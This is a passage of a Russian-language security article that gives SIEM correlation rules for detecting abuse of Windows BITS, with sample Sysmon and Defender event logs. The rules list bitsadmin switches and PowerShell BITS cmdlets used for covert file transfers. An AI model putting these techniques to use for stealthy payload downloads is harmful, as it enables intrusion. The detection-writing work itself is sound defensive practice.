<Execution ProcessID="**1412**" ThreadID="**9448**" />
<Channel>Microsoft-Windows-Sysmon/Operational</Channel>
<Computer>DESKTOP-U2FH49E</Computer>
<Security UserID="**S-1-5-18**" />
</System>
<EventData>
<Data Name="**RuleName**">-</Data>
<Data Name="**UtcTime**">2024-08-03 11:58:21.378</Data>
<Data Name="**ProcessGuid**">{95af35c7-1a16-66ae-6226-000000000300}</Data>
<Data Name="**ProcessId**">1752</Data>
<Data Name="**Image**">C:\Windows\System32\svchost.exe</Data>
<Data Name="**TargetFilename**">C:\Users\qwer\BITD1F5.tmp</Data>
<Data Name="**CreationUtcTime**">2024-08-03 11:58:21.378</Data>
<Data Name="**User**">NT AUTHORITY\СИСТЕМА</Data>
</EventData>
</Event>

На­пишем пра­вило, которое будет про­верять, что имя фай­ла соот­ветс­тву­ет пат­терну bit[\w\d]+\.tmp.

event Create_file:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and filter::FileCreate_Windows()
and regex(lower(object.name), "bit[\w\d]+\.tmp", 0) != null
}
rule Download_file_via_bits: Create_file

Ищем аргументы командной строки и командлетов PowerShell

Мы изу­чили мно­го спо­собов вза­имо­дей­ствия с BITS, нас­тало вре­мя написать пра­вило обна­руже­ния, осно­ван­ное на аргу­мен­тах ути­литы bitsadmin и коман­дле­тах PowerShell.

event Process_Start:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and (
filter::ProcessStart_Windows_commandline("bitsadmin.exe", ".*transfer.*|.*create.*|.*addfile.*|.*setnotifyflags.*|.*setnotifycmdline.*|.*setminretrydelay.*|.*setcustomheaders.*|.*resume.*")
or
filter::ProcessStart_Windows_commandline("powershell.exe", ".*start-bitstransfer.*|.*add-bitsfile.*|.*resume-bitstransfer.*|.*set-bitstransfer.*|.*bits.manager.*")
or
filter::ProcessStart_Windows_commandline("powershell_ise.exe", ".*start-bitstransfer.*|.*add-bitsfile.*|.*resume-bitstransfer.*|.*set-bitstransfer.*|.*bits.manager.*")
)
}
event Powershell_Pipeline_Execute:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and msgid == "4104"
and action == "execute"
and event_src.title == "windows"
and object == "command"
and event_src.subsys == "Microsoft-Windows-PowerShell/Operational"
and (
match(lower(object.process.cmdline),"*start-bitstransfer*")
or
match(lower(object.process.cmdline),"*add-bitsfile*")
or
match(lower(object.process.cmdline),"resume-bitstransfer")
or
match(lower(object.process.cmdline),"*set-bitstransfer*")
or
match(lower(object.process.cmdline),"*bits.manager*")
# Командлеты PowerShell для WinRM
or match(lower(object.process.cmdline),"*wmi/root/microsoft/bits/bitsclientjob*")
# Командлеты WMI https://learn.microsoft.com/ru-ru/windows/win32/bits/bits-compact-server
or match(lower(object.process.cmdline),"*root\\microsoft\\bits*")
or match(lower(object.process.cmdline),"*bitscompactserverurlgroup*")
)
}
event Powershell_Command_Execute:
key:
event_src.host
filter {
filter::NotFromCorrelator()
and msgid == "4103"
and action == "execute"
and event_src.title == "windows"
and object == "command"
and event_src.subsys == "Microsoft-Windows-PowerShell/Operational"
and (
match(lower(object.process.cmdline),"*start-bitstransfer*")
or
match(lower(object.process.cmdline),"*add-bitsfile*")
or
match(lower(object.process.cmdline),"resume-bitstransfer")
or
match(lower(object.process.cmdline),"*set-bitstransfer*")
or
match(lower(object.process.cmdline),"*bits.manager*")
# Командлеты PowerShell для WinRM
or match(lower(object.process.cmdline),"*wmi/root/microsoft/bits/bitsclientjob*")
# Командлеты WMI https://learn.microsoft.com/ru-ru/windows/win32/bits/bits-compact-server
or
match(lower(object.process.cmdline),"*root\\microsoft\\bits*")
or match(lower(object.process.cmdline),"*bitscompactserverurlgroup*")
)
}
rule Create_bits_job_cmdline: (Process_Start or Powershell_Pipeline_Execute or Powershell_Command_Execute) timer 5m

Пра­вило соз­даст инци­дент, если имя про­цес­са — bitsadmin.exe, powershell.exe, powershell_ise.exe и аргу­мен­ты коман­дной стро­ки сов­пада­ют с опре­делен­ным пат­терном, а так­же если в событи­ях с EventID 4103 и 4104 жур­нала Operational поля с коман­дле­тами сов­пада­ют с одной из масок.

Обнаружение эксплуатации BITS с помощью Windows Defender

Мы говори­ли выше, что Windows Defender реаги­рует на коман­ды, исполь­зуемые для работы с BITS. Давай напишем пра­вило кор­реляции, которое будет соз­давать инци­дент, если наз­вание вер­дикта Windows Defender сов­пада­ет с мас­кой *bits*.

event Defender_alert:
key:
event_src.host
filter {
msgid == "1116"
and event_src.subsys == "Microsoft-Windows-Windows Defender/Operational"
and match(lower(object.name), "*bits*")
}
rule Windows_defender_BITS_alert: Defender_alert+ timer 5m

При­мер события Windows Defender:

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="**Microsoft-Windows-Windows Defender**" Guid="**{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}**" />
<EventID>1116</EventID>
<Version>0</Version>
<Level>3</Level>
<Task>0</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreated SystemTime="**2024-08-11T19:12:41.8598837Z**" />
<EventRecordID>1051</EventRecordID>
<Correlation />
<Execution ProcessID="**3580**" ThreadID="**2036**" />
<Channel>Microsoft-Windows-Windows Defender/Operational</Channel>
<Computer>DESKTOP-U2FH49E</Computer>
<Security UserID="**S-1-5-18**" />
</System>
<EventData>
<Data Name="**Product Name**">Антивирусная программа Microsoft Defender</Data>
<Data Name="**Product Version**">4.18.24070.5</Data>
<Data Name="**Detection ID**">{0F54C4AA-B2B9-4FA7-BE0F-ADE9E3F93620}</Data>
<Data Name="**Detection Time**">2024-08-11T19:12:41.858Z</Data>
<Data Name="**Unused**" />
<Data Name="**Unused2**" />
<Data Name="**Threat ID**">2147728776</Data>
<Data Name="**Threat Name**">Behavior:Win32/BITSAbuse.As</Data>
<Data Name="**Severity ID**">5</Data>
<Data Name="**Severity Name**">Критический</Data>
<Data Name="**Category ID**">46</Data>
<Data Name="**Category Name**">Подозрительное поведение</Data>
<Data Name="**FWLink**">https://go.microsoft.com/fwlink/?linkid=37020&name=Behavior:Win32/BITSAbuse.As&threatid=2147728776&enterprise=0</Data>
<Data Name="**Status Code**">1</Data>
<Data Name="**Status Description**" />
<Data Name="**State**">1</Data>
<Data Name="**Source ID**">0</Data>
<Data Name="**Source Name**">Неизвестно</Data>
<Data Name="**Process Name**">Unknown</Data>
<Data Name="**Detection User**" />
<Data Name="**Unused3**" />
<Data Name="**Path**">behavior:_process: C:\Windows\System32\bitsadmin.exe, pid:420:111822694772619; process:_pid:420,ProcessStart:133678771617165578</Data>
<Data Name="**Origin ID**">0</Data>
<Data Name="**Origin Name**">Неизвестно</Data>
<Data Name="**Execution ID**">3</Data>
<Data Name="**Execution Name**">Выполнение</Data>
<Data Name="**Type ID**">0</Data>
<Data Name="**Type Name**">Конкретный</Data>
<Data Name="**Pre Execution Status**">0</Data>
<Data Name="**Action ID**">9</Data>
<Data Name="**Action Name**">Неприменимо</Data>
<Data Name="**Unused4**" />
<Data Name="**Error Code**">0x00000000</Data>
<Data Name="**Error Description**">Операция успешно завершена.</Data>
<Data Name="**Unused5**" />
<Data Name="**Post Clean Status**">0</Data>
<Data Name="**Additional Actions ID**">0</Data>
<Data Name="**Additional Actions String**">No additional actions required</Data>
<Data Name="**Remediation User**" />
<Data Name="**Unused6**" />
<Data Name="**Security intelligence Version**">AV: 1.417.66.0, AS: 1.417.66.0, NIS: 1.417.66.0</Data>
<Data Name="**Engine Version**">AM: 1.1.24070.3, NIS: 1.1.24070.3</Data>
</EventData>
</Event>

www

Все пра­вила обна­руже­ния из этой статьи ты можешь най­ти в пул‑рек­весте на GitHub.

Выводы

Не сек­рет, что в опе­раци­онных сис­темах есть все нуж­ное для дос­тижения целей хакеров. Дос­таточ­но вник­нуть в тон­кости работы стан­дар­тных инс­тру­мен­тов, и при необ­ходимос­ти мож­но не толь­ко обой­тись ими, но и луч­ше избе­жать обна­руже­ния.

За­щит­никам же рекомен­дую вни­матель­нее писать пра­вила и ста­рать­ся добить­ся уве­личе­ния как точ­ности (precision), так и пол­ноты (recall).